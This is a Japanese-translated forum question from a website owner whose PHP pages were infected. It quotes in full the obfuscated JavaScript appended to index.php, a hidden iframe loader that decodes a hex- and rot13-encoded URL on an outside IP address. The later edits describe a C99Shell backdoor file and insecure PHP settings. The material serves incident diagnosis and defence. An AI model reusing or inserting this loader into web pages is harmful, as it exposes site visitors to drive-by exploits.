問題:
私のウェブスペースには、すべてこれで終わるPHPファイルがあります。
<?php include 'footer.php'; ?>
この行の前に、ファイルにHTMLコードも含まれています。
もちろん、ブラウザの出力はこれで終わります。
</body>
</html>
しかし、昨日、突然、最後に悪意のあるコードがいくつかありました。私のindex.phpの出力は次のとおりです。
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
Webスペース(FTP経由でダウンロード)でファイルを開いたところ、誰かがこのコードをファイルに直接挿入しているのがわかりました。
これはどのように起こりますか?
私が想像できる唯一の方法:
- 誰かが私のFTPパスワードを取得しました。しかし、彼はそれを1つのファイルにまとめただけではありませんでした。彼はもっと多くのダメージを与えることができたでしょう。だから私はこれが事実だとは想像できません。
- 私は自分のPCにウイルスを持っています。編集にはNotepad++を使用し、アップロードにはFileZillaを使用しています。たぶん、これらのプログラムも汚染されていて、私は悪意のあるコードをアップロードしました-知らないうちに。
- 誰かがセキュリティホール(XSS)を使用して、そのコードをページに配置しました。しかし、彼はそれをファイルに正しく入れることができなかったでしょう?
症状:
ユーザーは、Firefoxで青いパネルがポップアップすることを報告しました。プラグインをインストールするように依頼しました。現在、それらの一部はPC上にExploit.Java.CVE-2010-0886.aを持っています。
これは悪意のあるコードによるものですか?コードは正確に何をしましたか?
手伝って頂けますか?
私を助けてください、私は本当に必死です。
私がどうやってそれを手に入れることができたのか知っているなら、たぶんもう一つ質問があります:将来このようなことをどうやって防ぐことができますか?
編集#1:
Webスペースのルートディレクトリに「x76x09.php」というファイルが見つかりました。ファイルサイズは44.281バイトです。ダウンロードして開こうとしました。しかし、私のウイルス対策ソフトウェアは、それがトロイの木馬(Trojan.Script.224490)だと言っていました。このファイルが実行され、すべてのディレクトリの「index.php」に悪意のあるコードが追加されたと思います。これは役に立ちますか?トロイの木馬はどのようにして私のWebスペースに到達することができますか?これはよく知られているウイルスですか?
編集#2:
私のホスティング業者は、ファイルがFTP経由でアップロードされていないことを確認できると言っています。そのため、FTP経由では感染は発生しませんでした。私のホスティング業者によると、それは安全でないスクリプトであるに違いありません。
編集#3:
PHPSecInfoによるセキュリティホール:
- allow_url_fopen = 1
- allow_url_include = 1
- export_php = 1
- file_uploads = 1(これは、悪意のある「x76x09.php」ファイルのせいですか?)
- group_id = 99
- user_id = 99
編集#4:
Webサーバーで実行されたファイルを分析しました。結果は次のとおりです。
したがって、このウイルスは次のように知られているようです。
- PHP / C99Shell.BF
- バックドア/PHP.C99Shell
- BackDoor.Generic_c.CQA
- Trojan.Script.224490
- Exploit.PHP.635
- Backdoor.PHP.C99Shell.bf
- Trojan.Script.224490
それらのいくつかは、悪意のあるコードを追加した私のWebスペースに悪意のあるファイルを引き起こす可能性がありますか?